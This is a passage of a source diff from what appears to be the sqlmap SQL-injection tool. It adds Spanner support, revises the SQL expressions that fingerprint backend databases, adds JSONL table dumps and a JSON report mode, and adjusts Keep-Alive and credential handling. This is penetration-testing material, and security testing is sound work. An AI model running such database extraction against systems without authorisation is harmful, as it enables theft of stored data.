         result = f(*args, **kwargs)
 

lib/core/dicts.py

@@ -40,6 +40,7 @@ from lib.core.settings import VERTICA_ALIASES
 from lib.core.settings import VIRTUOSO_ALIASES
 from lib.core.settings import CLICKHOUSE_ALIASES
 from lib.core.settings import SNOWFLAKE_ALIASES
+from lib.core.settings import SPANNER_ALIASES
 
 FIREBIRD_TYPES = {
     261: "BLOB",
@@ -252,6 +253,7 @@ DBMS_DICT = {
     DBMS.RAIMA: (RAIMA_ALIASES, None, None, None),
     DBMS.VIRTUOSO: (VIRTUOSO_ALIASES, None, None, None),
     DBMS.SNOWFLAKE: (SNOWFLAKE_ALIASES, None, None, "snowflake"),
+    DBMS.SPANNER: (SPANNER_ALIASES, None, None, "spanner"),
 }
 
 # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/
@@ -284,14 +286,15 @@ HEURISTIC_NULL_EVAL = {
     DBMS.PRESTO: "FROM_HEX(NULL)",
     DBMS.ALTIBASE: "TDESENCRYPT(NULL,NULL)",
     DBMS.MIMERSQL: "ASCII_CHAR(256)",
-    DBMS.CRATEDB: "MD5(NULL~NULL)",  # NOTE: NULL~NULL also being evaluated on H2 and Ignite
+    DBMS.CRATEDB: "GEN_RANDOM_TEXT_UUID()~NULL",  # NOTE: old MD5(NULL~NULL) was too loose (also NULL on MonetDB/H2/Ignite -> they mis-identified as CrateDB); gen_random_text_uuid() is CrateDB-only, and ~NULL keeps it a NULL-eval
     DBMS.CUBRID: "(NULL SETEQ NULL)",
-    DBMS.CACHE: "%SQLUPPER NULL",
+    DBMS.CACHE: "%EXACT(NULL)",  # NOTE: '%SQLUPPER NULL' does not parse inside the heuristic's (SELECT ...) form, so Cache/IRIS fell through to a later, non-unique marker (e.g. Mckoi TONUMBER); the %-prefixed collation function %EXACT() is InterSystems-unique and works here
     DBMS.EXTREMEDB: "NULLIFZERO(hashcode(NULL))",
     DBMS.RAIMA: "IF(ROWNUMBER()>0,CONVERT(NULL,TINYINT),NULL)",
     DBMS.VIRTUOSO: "__MAX_NOTNULL(NULL)",
     DBMS.CLICKHOUSE: "halfMD5(NULL)",
     DBMS.SNOWFLAKE: "BOOLNOT(NULL)",
+    DBMS.SPANNER: "FARM_FINGERPRINT(NULL)",
 }
 
 SQL_STATEMENTS = {
@@ -424,6 +427,8 @@ PART_RUN_CONTENT_TYPES = {
     "dumpTable": CONTENT_TYPE.DUMP_TABLE,
     "search": CONTENT_TYPE.SEARCH,
     "sqlQuery": CONTENT_TYPE.SQL_QUERY,
+    "getStatements": CONTENT_TYPE.STATEMENTS,
+    "getProcs": CONTENT_TYPE.PROCEDURES,
     "tableExists": CONTENT_TYPE.COMMON_TABLES,
     "columnExists": CONTENT_TYPE.COMMON_COLUMNS,
     "readFile": CONTENT_TYPE.FILE_READ,

lib/core/dump.py

@@ -6,6 +6,7 @@ See the file 'LICENSE' for copying permission
 """
 
 import hashlib
+import json
 import os
 import re
 import shutil
@@ -14,6 +15,7 @@ import threading
 
 from lib.core.common import Backend
 from lib.core.common import checkFile
+from lib.core.common import clearColors
 from lib.core.common import dataToDumpFile
 from lib.core.common import dataToStdout
 from lib.core.common import filterNone
@@ -30,6 +32,7 @@ from lib.core.common import unsafeSQLIdentificatorNaming
 from lib.core.compat import xrange
 from lib.core.convert import getBytes
 from lib.core.convert import getConsoleLength
+from lib.core.convert import stdoutEncode
 from lib.core.convert import getText
 from lib.core.convert import getUnicode
 from lib.core.convert import htmlEscape
@@ -59,6 +62,7 @@ from lib.core.settings import WINDOWS_RESERVED_NAMES
 from lib.utils.safe2bin import safechardecode
 from thirdparty import six
 from thirdparty.magic import magic
+from thirdparty.odict import OrderedDict
 
 class Dump(object):
     """
@@ -90,12 +94,25 @@ class Dump(object):
             except IOError as ex:
                 errMsg = "error occurred while writing to log file ('%s')" % getSafeExString(ex)
                 raise SqlmapGenericException(errMsg)
-
-            if multiThreadMode:
-                self._lock.release()
+            finally:
+                if multiThreadMode:
+                    self._lock.release()
 
         kb.dataOutputFlag = True
 
+    def _reportData(self, data, content_type):
+        """
+        --report-json: capture a structured result exactly as the REST API would store it (the raw
+        value + COMPLETE status), independent of console/file rendering. No-op unless a report
+        collector is active - which is only ever the case for a CLI --report-json run, never under
+        --api - so this never double-captures alongside StdDbOut. A None content_type is resolved
+        via the kb.partRun fallback (e.g. the fingerprint line), mirroring the API exactly.
+        """
+
+        if conf.get("reportCollector") is not None:
+            from lib.utils.api import _storeData, REPORT_TASKID
+            _storeData(conf.reportCollector, REPORT_TASKID, stdoutEncode(clearColors(data)), CONTENT_STATUS.COMPLETE, content_type)
+
     def flush(self):
         if self._outputFP:
             try:
@@ -116,9 +133,12 @@ class Dump(object):
             raise SqlmapGenericException(errMsg)
 
     def singleString(self, data, content_type=None):
+        self._reportData(data, content_type)
         self._write(data, content_type=content_type)
 
     def string(self, header, data, content_type=None, sort=True):
+        self._reportData(data, content_type)
+
         if conf.api:
             self._write(data, content_type=content_type)
 
@@ -153,6 +173,8 @@ class Dump(object):
             except:
                 pass
 
+        self._reportData(elements, content_type)
+
         if conf.api:
             self._write(elements, content_type=content_type)
 
@@ -194,6 +216,9 @@ class Dump(object):
     def statements(self, statements):
         self.lister("SQL statements", statements, content_type=CONTENT_TYPE.STATEMENTS)
 
+    def procedures(self, procedures):
+        self.lister("stored procedures", procedures, content_type=CONTENT_TYPE.PROCEDURES)
+
     def userSettings(self, header, userSettings, subHeader, content_type=None):
         self._areAdmins = set()
 
@@ -204,6 +229,8 @@ class Dump(object):
         users = [_ for _ in userSettings.keys() if _ is not None]
         users.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
+        self._reportData(userSettings, content_type)
+
         if conf.api:
             self._write(userSettings, content_type=content_type)
 
@@ -237,6 +264,8 @@ class Dump(object):
 
     def dbTables(self, dbTables):
         if isinstance(dbTables, dict) and len(dbTables) > 0:
+            self._reportData(dbTables, CONTENT_TYPE.TABLES)
+
             if conf.api:
                 self._write(dbTables, content_type=CONTENT_TYPE.TABLES)
 
@@ -279,6 +308,8 @@ class Dump(object):
 
     def dbTableColumns(self, tableColumns, content_type=None):
         if isinstance(tableColumns, dict) and len(tableColumns) > 0:
+            self._reportData(tableColumns, content_type)
+
             if conf.api:
                 self._write(tableColumns, content_type=content_type)
 
@@ -290,22 +321,25 @@ class Dump(object):
                     maxlength1 = 0
                     maxlength2 = 0
 
-                    colType = None
-
                     colList = list(columns.keys())
                     colList.sort(key=lambda _: _.lower() if hasattr(_, "lower") else _)
 
+                    # Note: decide the layout by whether ANY column carries a type, not by the last
+                    # column iterated; otherwise a mixed table (some columns typed, some not) whose
+                    # alphabetically-last column is type-less renders a header/body column mismatch
+                    hasType = any(columns[_] is not None for _ in colList)
+
                     for column in colList:
                         colType = columns[column]
 
                         column = unsafeSQLIdentificatorNaming(column)
-                        maxlength1 = max(maxlength1, len(column or ""))
-                        maxlength2 = max(maxlength2, len(colType or ""))
+                        maxlength1 = max(maxlength1, getConsoleLength(column or ""))
+                        maxlength2 = max(maxlength2, getConsoleLength(colType or ""))
 
                     maxlength1 = max(maxlength1, len("COLUMN"))
                     lines1 = "-" * (maxlength1 + 2)
 
-                    if colType is not None:
+                    if hasType:
                         maxlength2 = max(maxlength2, len("TYPE"))
                         lines2 = "-" * (maxlength2 + 2)
 
@@ -316,17 +350,15 @@ class Dump(object):
                     else:
                         self._write("[%d columns]" % len(columns))
 
-                    if colType is not None:
+                    if hasType:
                         self._write("+%s+%s+" % (lines1, lines2))
                     else:
                         self._write("+%s+" % lines1)
 
                     blank1 = " " * (maxlength1 - len("COLUMN"))
 
-                    if colType is not None:
+                    if hasType:
                         blank2 = " " * (maxlength2 - len("TYPE"))
-
-                    if colType is not None:
                         self._write("| Column%s | Type%s |" % (blank1, blank2))
                         self._write("+%s+%s+" % (lines1, lines2))
                     else:
@@ -337,21 +369,24 @@ class Dump(object):
                         colType = columns[column]
 
                         column = unsafeSQLIdentificatorNaming(column)
-                        blank1 = " " * (maxlength1 - len(column))
+                        blank1 = " " * (maxlength1 - getConsoleLength(column))
 
-                        if colType is not None:
-                            blank2 = " " * (maxlength2 - len(colType))
+                        if hasType:
+                            colType = colType or ""
+                            blank2 = " " * (maxlength2 - getConsoleLength(colType))
                             self._write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
                         else:
                             self._write("| %s%s |" % (column, blank1))
 
-                    if colType is not None:
+                    if hasType:
                         self._write("+%s+%s+\n" % (lines1, lines2))
                     else:
                         self._write("+%s+\n" % lines1)
 
     def dbTablesCount(self, dbTables):
         if isinstance(dbTables, dict) and len(dbTables) > 0:
+            self._reportData(dbTables, CONTENT_TYPE.COUNT)
+
             if conf.api:
                 self._write(dbTables, content_type=CONTENT_TYPE.COUNT)
 
@@ -410,14 +445,19 @@ class Dump(object):
             db = "All"
         table = tableValues["__infos__"]["table"]
 
+        safeDb = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
+        safeTable = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
+
+        self._reportData(tableValues, CONTENT_TYPE.DUMP_TABLE)
+
         if conf.api:
             self._write(tableValues, content_type=CONTENT_TYPE.DUMP_TABLE)
 
         try:
-            dumpDbPath = os.path.join(conf.dumpPath, unsafeSQLIdentificatorNaming(db))
+            dumpDbPath = os.path.join(conf.dumpPath, safeDb)
         except UnicodeError:
             try:
-                dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(unsafeSQLIdentificatorNaming(db)))
+                dumpDbPath = os.path.join(conf.dumpPath, normalizeUnicode(safeDb))
             except (UnicodeError, OSError):
                 tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
                 warnMsg = "currently unable to use regular dump directory. "
@@ -427,16 +467,14 @@ class Dump(object):
                 dumpDbPath = tempDir
 
         if conf.dumpFormat == DUMP_FORMAT.SQLITE:
-            replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % unsafeSQLIdentificatorNaming(db)))
-        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
+            replication = Replication(os.path.join(conf.dumpPath, "%s.sqlite3" % safeDb))
+        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL):
             if not os.path.isdir(dumpDbPath):
                 try:
                     os.makedirs(dumpDbPath)
                 except:
                     warnFile = True
-
-                    _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db))
-                    dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(getBytes(db)).hexdigest()[:8]))
+                    dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (safeDb, hashlib.md5(getBytes(db)).hexdigest()[:8]))
 
                     if not os.path.isdir(dumpDbPath):
                         try:
@@ -450,7 +488,8 @@ class Dump(object):
 
                             dumpDbPath = tempDir
 
-            dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
+            dumpFileName = conf.dumpFile or os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower()))
+
             if not checkFile(dumpFileName, False):
                 try:
                     openFile(dumpFileName, "w+").close()
@@ -458,13 +497,10 @@ class Dump(object):
                     raise
                 except:
                     warnFile = True
-
-                    _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
-                    if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
-                        _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table))
-                        dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
+                    if IS_WIN and safeTable.upper() in WINDOWS_RESERVED_NAMES:
+                        dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (safeTable, hashlib.md5(getBytes(table)).hexdigest()[:8], conf.dumpFormat.lower()))
                     else:
-                        dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
+                        dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (safeTable, conf.dumpFormat.lower()))
             else:
                 appendToFile = any((conf.limitStart, conf.limitStop))
 
@@ -548,7 +584,7 @@ class Dump(object):
             dataToDumpFile(dumpFP, "<!DOCTYPE html>\n<html>\n<head>\n")
             dataToDumpFile(dumpFP, "<meta http-equiv=\"Content-type\" content=\"text/html;charset=%s\">\n" % UNICODE_ENCODING)
             dataToDumpFile(dumpFP, "<meta name=\"generator\" content=\"%s\" />\n" % VERSION_STRING)
-            dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)))
+            dataToDumpFile(dumpFP, "<title>%s</title>\n" % ("%s%s" % ("%s." % db if METADB_SUFFIX not in db else "", table)).replace("<", ""))
             dataToDumpFile(dumpFP, HTML_DUMP_CSS_STYLE)
             dataToDumpFile(dumpFP, "\n</head>\n<body>\n<table>\n<thead>\n<tr>\n")
 
@@ -591,10 +627,25 @@ class Dump(object):
         elif conf.dumpFormat == DUMP_FORMAT.SQLITE:
             rtable.beginTransaction()
 
+        # Precompute the per-column layout once. These values are invariant across
+        # every row, so resolving them per cell (dict lookup, int() conversion and
+        # identifier normalization) wasted count x ncols work on large dumps.
+        dumpColumns = []
+        for column in columns:
+            if column != "__infos__":
+                info = tableValues[column]
+                dumpColumns.append((unsafeSQLIdentificatorNaming(column), info["values"], int(info["length"])))
+
         for i in xrange(count):
             console = (i >= count - TRIM_STDOUT_DUMP_SIZE)
             field = 1
-            values = []
+
+            # Only the SQLITE and JSONL paths accumulate a per-row container; the
+            # others left these unused, wasting an allocation on every single row
+            if conf.dumpFormat == DUMP_FORMAT.SQLITE:
+                values = []
+            elif conf.dumpFormat == DUMP_FORMAT.JSONL:
+                record = OrderedDict()
 
             if i == 0 and count > TRIM_STDOUT_DUMP_SIZE:
                 self._write(" ...")
@@ -602,54 +653,58 @@ class Dump(object):
             if conf.dumpFormat == DUMP_FORMAT.HTML:
                 dataToDumpFile(dumpFP, "<tr>")
 
-            for column in columns:
-                if column != "__infos__":
-                    info = tableValues[column]
+            for safeColumn, colValues, maxlength in dumpColumns:
+                if len(colValues) <= i or colValues[i] is None:
+                    value = u''
+                else:
+                    value = getUnicode(colValues[i])
+                    value = DUMP_REPLACEMENTS.get(value, value)
 
-                    if len(info["values"]) <= i:
-                        continue
-
-                    if info["values"][i] is None:
-                        value = u''
+                if conf.dumpFormat == DUMP_FORMAT.SQLITE:
+                    # Note: store a real NULL for the NULL sentinel (and the raw value otherwise),
+                    # mirroring the JSONL path below; appending the display-replaced 'NULL'/'<blank>'
+                    # text would corrupt the INTEGER/REAL-typed columns inferred above
+                    if len(colValues) <= i or colValues[i] is None or colValues[i] == " ":  # NULL
+                        values.append(None)
                     else:
-                        value = getUnicode(info["values"][i])
-                        value = DUMP_REPLACEMENTS.get(value, value)
+                        values.append(getUnicode(colValues[i]))
 
-                    if conf.dumpFormat == DUMP_FORMAT.SQLITE:
-                        values.append(value)
+                blank = " " * (maxlength - getConsoleLength(value))
+                self._write("| %s%s" % (value, blank), newline=False, console=console)
 
-                    maxlength = int(info["length"])
-                    blank = " " * (maxlength - getConsoleLength(value))
-                    self._write("| %s%s" % (value, blank), newline=False, console=console)
+                if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
+                    try:
+                        mimetype = getText(magic.from_buffer(getBytes(value), mime=True))
+                        if any(mimetype.startswith(_) for _ in ("application", "image")):
+                            if not os.path.isdir(dumpDbPath):
+                                os.makedirs(dumpDbPath)
 
-                    if len(value) > MIN_BINARY_DISK_DUMP_SIZE and r'\x' in value:
-                        try:
-                            mimetype = getText(magic.from_buffer(value, mime=True))
-                            if any(mimetype.startswith(_) for _ in ("application", "image")):
-                                if not os.path.isdir(dumpDbPath):
-                                    os.makedirs(dumpDbPath)
+                            _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(safeColumn))
+                            filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
+                            warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
+                            logger.warning(warnMsg)
 
-                                _ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
-                                filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
-                                warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
-                                logger.warning(warnMsg)
+                            with openFile(filepath, "w+b", None) as f:
+                                _ = safechardecode(value, True)
+                                f.write(_)
 
-                                with openFile(filepath, "w+b", None) as f:
-                                    _ = safechardecode(value, True)
-                                    f.write(_)
+                    except Exception as ex:
+                        logger.debug(getSafeExString(ex))
 
-                        except Exception as ex:
-                            logger.debug(getSafeExString(ex))
+                if conf.dumpFormat == DUMP_FORMAT.CSV:
+                    if field == fields:
+                        dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
+                    else:
+                        dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
+                elif conf.dumpFormat == DUMP_FORMAT.HTML:
+                    dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
+                elif conf.dumpFormat == DUMP_FORMAT.JSONL:
+                    if len(colValues) <= i or colValues[i] is None or colValues[i] == " ":  # NULL
+                        record[safeColumn] = None
+                    else:
+                        record[safeColumn] = getUnicode(colValues[i])
 
-                    if conf.dumpFormat == DUMP_FORMAT.CSV:
-                        if field == fields:
-                            dataToDumpFile(dumpFP, "%s" % safeCSValue(value))
-                        else:
-                            dataToDumpFile(dumpFP, "%s%s" % (safeCSValue(value), conf.csvDel))
-                    elif conf.dumpFormat == DUMP_FORMAT.HTML:
-                        dataToDumpFile(dumpFP, "<td>%s</td>" % getUnicode(htmlEscape(value).encode("ascii", "xmlcharrefreplace")))
-
-                    field += 1
+                field += 1
 
             if conf.dumpFormat == DUMP_FORMAT.SQLITE:
                 try:
@@ -660,6 +715,8 @@ class Dump(object):
                 dataToDumpFile(dumpFP, "\n")
             elif conf.dumpFormat == DUMP_FORMAT.HTML:
                 dataToDumpFile(dumpFP, "</tr>\n")
+            elif conf.dumpFormat == DUMP_FORMAT.JSONL:
+                dataToDumpFile(dumpFP, "%s\n" % getUnicode(json.dumps(record, ensure_ascii=False)))
 
             self._write("|", console=console)
 
@@ -669,11 +726,11 @@ class Dump(object):
             rtable.endTransaction()
             logger.info("table '%s.%s' dumped to SQLITE database '%s'" % (db, table, replication.dbpath))
 
-        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
+        elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML, DUMP_FORMAT.JSONL):
             if conf.dumpFormat == DUMP_FORMAT.HTML:
                 dataToDumpFile(dumpFP, "</tbody>\n</table>\n<script>let lc=-1,ld=1;function sortTable(n,h){var t=document.querySelector(\"table\"),r=Array.from(t.tBodies[0].rows);ld=(lc==n?-ld:1);lc=n;r.sort((a,b)=>{var x=a.cells[n].innerText.trim(),y=b.cells[n].innerText.trim(),nx=parseFloat(x),ny=parseFloat(y);return(!isNaN(nx)&&!isNaN(ny)?(nx-ny)*ld:x.localeCompare(y)*ld)});r.forEach(e=>t.tBodies[0].appendChild(e));Array.from(t.tHead.rows[0].cells).forEach(c=>{c.innerText=c.innerText.replace(/[\u2191\u2193]/g,\"\")});h.innerText=h.innerText+ (ld==1?\"\u2191\":\"\u2193\");}</script>\n</body>\n</html>")
-            else:
-                dataToDumpFile(dumpFP, "\n")
+            # Note: each CSV row already ends with '\n' (above); no extra close-newline, otherwise
+            # the file ends with a blank line and a later --start/--stop append injects an empty record
             dumpFP.close()
 
             msg = "table '%s.%s' dumped to %s file '%s'" % (db, table, conf.dumpFormat, dumpFileName)
@@ -683,6 +740,8 @@ class Dump(object):
                 logger.warning(msg)
 
     def dbColumns(self, dbColumnsDict, colConsider, dbs):
+        self._reportData(dbColumnsDict, CONTENT_TYPE.COLUMNS)
+
         if conf.api:
             self._write(dbColumnsDict, content_type=CONTENT_TYPE.COLUMNS)
 

lib/core/enums.py

@@ -61,6 +61,7 @@ class DBMS(object):
     RAIMA = "Raima Database Manager"
     VIRTUOSO = "Virtuoso"
     SNOWFLAKE = "Snowflake"
+    SPANNER = "Spanner"
 
 class DBMS_DIRECTORY_NAME(object):
     ACCESS = "access"
@@ -92,6 +93,7 @@ class DBMS_DIRECTORY_NAME(object):
     RAIMA = "raima"
     VIRTUOSO = "virtuoso"
     SNOWFLAKE = "snowflake"
+    SPANNER = "spanner"
 
 class FORK(object):
     MARIADB = "MariaDB"
@@ -112,6 +114,7 @@ class FORK(object):
     DM8 = "DM8"
     DORIS = "Doris"
     STARROCKS = "StarRocks"
+    TRINO = "Trino"
 
 class CUSTOM_LOGGING(object):
     PAYLOAD = 9
@@ -236,6 +239,7 @@ class DUMP_FORMAT(object):
     CSV = "CSV"
     HTML = "HTML"
     SQLITE = "SQLITE"
+    JSONL = "JSONL"
 
 class HTTP_HEADER(object):
     ACCEPT = "Accept"
@@ -285,6 +289,7 @@ class HASHDB_KEYS(object):
     DBMS = "DBMS"
     DBMS_FORK = "DBMS_FORK"
     CHECK_WAF_RESULT = "CHECK_WAF_RESULT"
+    CHECK_WAF_BYPASS = "CHECK_WAF_BYPASS"
     CHECK_NULL_CONNECTION_RESULT = "CHECK_NULL_CONNECTION_RESULT"
     CONF_TMP_PATH = "CONF_TMP_PATH"
     KB_ABS_FILE_PATHS = "KB_ABS_FILE_PATHS"
@@ -404,6 +409,7 @@ class CONTENT_TYPE(object):
     OS_CMD = 24
     REG_READ = 25
     STATEMENTS = 26
+    PROCEDURES = 27
 
 class CONTENT_STATUS(object):
     IN_PROGRESS = 0

lib/core/option.py

@@ -145,6 +145,8 @@ from lib.request.chunkedhandler import ChunkedHandler
 from lib.request.connect import Connect as Request
 from lib.request.dns import DNSServer
 from lib.request.httpshandler import HTTPSHandler
+from lib.request.keepalive import HTTPKeepAliveHandler
+from lib.request.keepalive import HTTPSKeepAliveHandler
 from lib.request.pkihandler import HTTPSPKIAuthHandler
 from lib.request.rangehandler import HTTPRangeHandler
 from lib.request.redirecthandler import SmartRedirectHandler
@@ -154,7 +156,6 @@ from lib.utils.har import HTTPCollectorFactory
 from lib.utils.purge import purge
 from lib.utils.search import search
 from thirdparty import six
-from thirdparty.keepalive import keepalive
 from thirdparty.multipart import multipartpost
 from thirdparty.six.moves import collections_abc as _collections
 from thirdparty.six.moves import http_client as _http_client
@@ -166,7 +167,8 @@ from xml.etree.ElementTree import ElementTree
 authHandler = _urllib.request.BaseHandler()
 chunkedHandler = ChunkedHandler()
 httpsHandler = HTTPSHandler()
-keepAliveHandler = keepalive.HTTPHandler()
+keepAliveHandler = HTTPKeepAliveHandler()
+keepAliveHandlerHTTPS = HTTPSKeepAliveHandler()
 proxyHandler = _urllib.request.ProxyHandler()
 redirectHandler = SmartRedirectHandler()
 rangeHandler = HTTPRangeHandler()
@@ -436,19 +438,27 @@ def _setStdinPipeTargets():
                 return self.next()
 
             def next(self):
-                try:
-                    line = next(conf.stdinPipe)
-                except (IOError, OSError, TypeError, UnicodeDecodeError):
-                    line = None
+                while True:
+                    try:
+                        line = next(conf.stdinPipe)
+                    except (IOError, OSError, TypeError, UnicodeDecodeError):
+                        line = None
+                    except StopIteration:
+                        line = None
 
-                if line:
-                    match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
-                    if match:
-                        return (match.group(0), conf.method, conf.data, conf.cookie, None)
-                elif self.__rest:
-                    return self.__rest.pop()
+                    if line:
+                        match = re.search(r"\b(https?://[^\s'\"]+|[\w.]+\.\w{2,3}[/\w+]*\?[^\s'\"]+)", line, re.I)
+                        if match:
+                            return (match.group(0), conf.method, conf.data, conf.cookie, None)
+                        # Note: a non-empty line that is not a target (blank line, comment,
+                        # non-parameterized URL) must be skipped, not treated as end-of-input
+                        continue
 
-                raise StopIteration()
+                    # end-of-input (or read error): drain any queued targets, then stop
+                    if self.__rest:
+                        return self.__rest.pop()
+
+                    raise StopIteration()
 
             def add(self, elem):
                 self.__rest.add(elem)
@@ -608,7 +618,7 @@ def _setMetasploit():
         else:
             warnMsg = "the provided Metasploit Framework path "
             warnMsg += "'%s' is not valid. The cause could " % conf.msfPath
-            warnMsg += "be that the path does not exists or that one "
+            warnMsg += "be that the path does not exist or that one "
             warnMsg += "or more of the needed Metasploit executables "
             warnMsg += "within msfcli, msfconsole, msfencode and "
             warnMsg += "msfpayload do not exist"
@@ -1239,18 +1249,22 @@ def _setHTTPHandlers():
             handlers.append(_urllib.request.HTTPCookieProcessor(conf.cj))
 
         # Reference: http://www.w3.org/Protocols/rfc2616/rfc2616-sec8.html
-        if conf.keepAlive:
-            warnMsg = "persistent HTTP(s) connections, Keep-Alive, has "
-            warnMsg += "been disabled because of its incompatibility "
+        # Note: persistent (Keep-Alive) connections are used by default; '--no-keep-alive' opts out,
+        # and they are automatically disabled when incompatible (HTTP(s) proxy, authentication methods,
+        # or chunked transfer-encoding of the request body - handled by a dedicated, non-pooling handler)
+        conf.keepAlive = not conf.noKeepAlive and not conf.proxy and not conf.authType and not conf.chunked
 
-            if conf.proxy:
-                warnMsg += "with HTTP(s) proxy"
-                logger.warning(warnMsg)
-            elif conf.authType:
-                warnMsg += "with authentication methods"
-                logger.warning(warnMsg)
-            else:
-                handlers.append(keepAliveHandler)
+        if conf.keepAlive:
+            # persistent connections for both HTTP and HTTPS; the keep-alive HTTPS
+            # handler supersedes the regular one (reusing its SSL connection)
+            if httpsHandler in handlers:
+                handlers.remove(httpsHandler)
+            handlers.append(keepAliveHandler)
+            handlers.append(keepAliveHandlerHTTPS)
+        elif not conf.noKeepAlive and (conf.proxy or conf.authType or conf.chunked):
+            reason = "an HTTP(s) proxy" if conf.proxy else ("authentication methods" if conf.authType else "chunked transfer-encoding")
+            debugMsg = "persistent (Keep-Alive) connections were disabled (incompatible with %s)" % reason
+            logger.debug(debugMsg)
 
         opener = _urllib.request.build_opener(*handlers)
         opener.addheaders = []  # Note: clearing default "User-Agent: Python-urllib/X.Y"
@@ -1396,7 +1410,9 @@ def _setHTTPAuthentication():
             conf.httpHeaders.append((HTTP_HEADER.AUTHORIZATION, "Bearer %s" % conf.authCred.strip()))
             return
         elif authType == AUTH_TYPE.NTLM:
-            regExp = "^(.*\\\\.*):(.*?)$"
+            # Note: the DOMAIN\username part is colon-free, so the password group takes the full
+            # remainder (a greedy first group would otherwise swallow colons inside the password)
+            regExp = "^([^:]*\\\\[^:]*):(.*)$"
             errMsg = "HTTP NTLM authentication credentials value must "
             errMsg += "be in format 'DOMAIN\\username:password'"
         elif authType == AUTH_TYPE.PKI:
@@ -1454,14 +1470,14 @@ def _setHTTPExtraHeaders():
             if not headerValue.strip():
                 continue
 
-            if headerValue.count(':') >= 1:
+            if headerValue.startswith('@'):
+                checkFile(headerValue[1:])
+                kb.headersFile = headerValue[1:]
+            elif headerValue.count(':') >= 1:
                 header, value = (_.lstrip() for _ in headerValue.split(":", 1))
 
                 if header and value:
                     conf.httpHeaders.append((header, value))
-            elif headerValue.startswith('@'):
-                checkFile(headerValue[1:])
-                kb.headersFile = headerValue[1:]
             else:
                 errMsg = "invalid header value: %s. Valid header format is 'name:value'" % repr(headerValue).lstrip('u')
                 raise SqlmapSyntaxException(errMsg)
@@ -1675,9 +1691,9 @@ def _createTemporaryDirectory():
         except Exception as ex:
             warnMsg = "there has been a problem while accessing "
             warnMsg += "system's temporary directory location(s) ('%s'). Please " % getSafeExString(ex)
-            warnMsg += "make sure that there is enough disk space left. If problem persists, "
+            warnMsg += "make sure that there is enough disk space left. If the problem persists, "
             warnMsg += "try to set environment variable 'TEMP' to a location "
-            warnMsg += "writeable by the current user"
+            warnMsg += "writable by the current user"
             logger.warning(warnMsg)
 
     if "sqlmap" not in (tempfile.tempdir or "") or conf.tmpDir and tempfile.tempdir == conf.tmpDir:
@@ -1992,7 +2008,7 @@ def _cleanupEnvironment():
     Cleanup environment (e.g. from leftovers after --shell).
     """
 
-    if issubclass(_http_client.socket.socket, socks.socksocket):
+    if getattr(_http_client.socket, "socket", None) is not getattr(socks, "_orgsocket", None):
         socks.unwrapmodule(_http_client)
 
     if hasattr(socket, "_ready"):
@@ -2071,9 +2087,10 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.cache = AttribDict()
     kb.cache.addrinfo = {}
     kb.cache.content = LRUDict(capacity=16)
-    kb.cache.comparison = {}
+    kb.cache.comparison = LRUDict(capacity=256)
     kb.cache.encoding = LRUDict(capacity=256)
     kb.cache.alphaBoundaries = None
+    kb.cache.charsetAsciiTbl = None
     kb.cache.hashRegex = None
     kb.cache.intBoundaries = None
     kb.cache.parsedDbms = {}
@@ -2144,6 +2161,12 @@ def _setKnowledgeBaseAttributes(flushAll=True):
     kb.heuristicTest = None
     kb.hintValue = ""
     kb.htmlFp = []
+    kb.huffmanModel = {}
+    kb.respTruncated = False
+    kb.huffmanValidated = False
+    kb.disableHuffman = False
+    kb.huffmanProbes = 0
+    kb.huffmanEscapes = 0
